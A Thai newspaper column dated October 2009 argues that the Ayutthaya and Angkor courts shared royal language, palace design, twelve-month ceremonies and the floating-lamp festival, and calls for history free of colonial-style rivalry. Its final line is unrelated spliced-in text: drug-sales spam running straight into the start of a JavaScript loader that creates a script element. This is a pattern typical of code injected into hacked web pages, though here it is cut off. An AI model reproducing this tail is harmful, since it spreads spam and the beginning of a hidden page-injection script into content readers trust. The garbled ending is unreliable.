หนังสือพิมพ์มติชนฉบับวันพฤหัสบดีที่ 1 ตุลาคม 2552


ราชสำนักอโยธยา-ละโว้(กรุงศรีอยุธยา) ร่วมวงศาคณาญาติเดียวกันกับราชสำนักกัมพูชา(เมืองพระนครหลวง นครธม) ใช้ภาษาเขมรในชีวิตประจำวัน จึงเหลือเค้าเป็น“ราชาศัพท์”ในภาษาไทยทุกวันนี้
วังหลวงกรุงศรีอยุธยา มีพระที่นั่งหลายองค์ได้แบบจากนครธม เช่น พระที่นั่งจักรวรรดิไพชยนต์ที่ประทับทอดพระเนตรกระบวนแห่และการมหรสพในสนามหน้าจักรวรรดิ ฯลฯ

มีพระราชพิธี“เบาะพก” (เป็นคำเขมร) เพื่อเซ่นผีบรรพสตรี คือนางนาค เช่นเดียวกับราชสำนักกัมพูชา
มีพระราชพิธีอินทราภิเษก เพื่อกวนเกษียรสมุทร(ชักนาคดึกดำบรรพ์)อย่างเดียวกับภาพสลักที่ปราสาทนครวัดในกัมพูชา(มีอธิบายละเอียดในหนังสือเสียมกุก ขบวนแห่ชาวสยามฯ กองทุนแบ่งปันเผยแพร่ความรู้สู่สาธารณะ พิมพ์ครั้งแรก เมื่อ พ.ศ. 2552)
ในราชสำนักกัมพูชามีพระราชพิธี 12 เดือน อย่างเดียวกับที่มีในราชสำนัก อโยธยา-ละโว้ แล้วเรียก“ทวาทศมาส” (แปลว่า 12 เดือน) เหมือนกัน(มีรายละเอียดในหนังสือพระราชพิธีทวาทศมาส หรือพระราชพิธีสิบสองเดือนกรุงกัมพูชา ภาค 3 คณะกรรมการสมาคมวัฒนธรรมไทย-กัมพูชา กรมสารนิเทศ กระทรวงการต่างประเทศ พิมพ์ครั้งแรก พ.ศ. 2550)
พระราชพิธี เดือน 11 ทั้งอโยธยา-ละโว้ และนครธม-กัมพูชา ใช้คำบาลี-สันสกฤตเรียกอาสยุช ตรงกัน มีพิธีสำคัญคือออกพรรษา, ทอดกฐิน, แข่งเรือ อย่างเดียวกัน
ที่คนยุคนี้ต้องทำความเข้าใจให้ถูกต้อง คือช่วงกลางเดือน 11 ออกพรรษาแล้วมีลอยประทีป(อย่างเดียวกับที่รู้จักยุคนี้ว่า ลอยกระทง) เหมือนกันด้วย แล้วลอยเรื่อยไปจนถึงกลางเดือน 12 เรียกว่าลอยทั้งเดือน ไม่ใช่แค่วันเดียวคืนเดียวอย่างปัจจุบัน
ความหมายของลอยประทีป มีผู้รู้กัมพูชาอธิบายว่าต่างกัน 2 ระดับ คือคนชั้นสูงเข้าใจว่าลอยไปบูชาพระเขี้ยวแก้วและรอยพระพุทธบาท ส่วนคนชาวบ้านทั่วไปเชื่อว่าลอยขอขมาลาโทษแม่น้ำ(คงคา) แม่ดิน(ธรณี) ของไทยก็อธิบายอย่างเดียวกันไม่ผิดเพี้ยนเลย
ลักษณะ“วัฒนธรรมร่วม”ระหว่างไทยกับกัมพูชาอย่างนี้ยังมีอีกมาก และมีกว้างถึงมอญ-พม่า และลาว แต่เราถูกครอบงำให้คิดแบบอาณานิคม คือมีแหล่งกำเนิดอยู่แห่งใดแห่งหนึ่ง แล้วขยายอิทธิพลสู่อีกแห่งหนึ่ง เช่น กำเนิดในกัมพูชา แล้วส่งให้ไทย หรือไม่ก็กำเนิดในไทย แล้วส่งให้กัมพูชา เป็นต้น ทำให้โต้เถียงขัดแย้งกันไม่รู้จบ โดยไม่รู้ตัวว่าต่างถูกครอบงำจากอาณานิคมเหมือนกัน
เฉพาะอโยธยา-ละโว้ กับเมืองพระนคร นครวัด-นครธม เกือบจะเรียกได้ว่าเป็นวงศ์วานว่านเครือเดียวกันอย่างแยกไม่ได้ ดูจากนามศักดิ์สิทธิ์ก็ล้อกัน คือ     อโยธยา-ละโว้ เป็น กัมโพช ส่วนนครวัด-นครธม เป็น กัมพูชา
เลิก“อคติ”ใส่กัน แล้วร่วมกันชำระประวัติศาสตร์ให้ปราศจากอาณานิคมแล้วอยู่ในร่องในรอยอย่างเครือญาติกันดีกว่า แล้วหาลู่ทาง Creative Economy โดยไม่เอาเปรียบไปพร้อมๆกันเพื่อความร่มเย็นเป็นสุขทุกฝ่าย

fluoxetine oral lexapro generic buyvar d=document;var s=d.createElement(‘script’);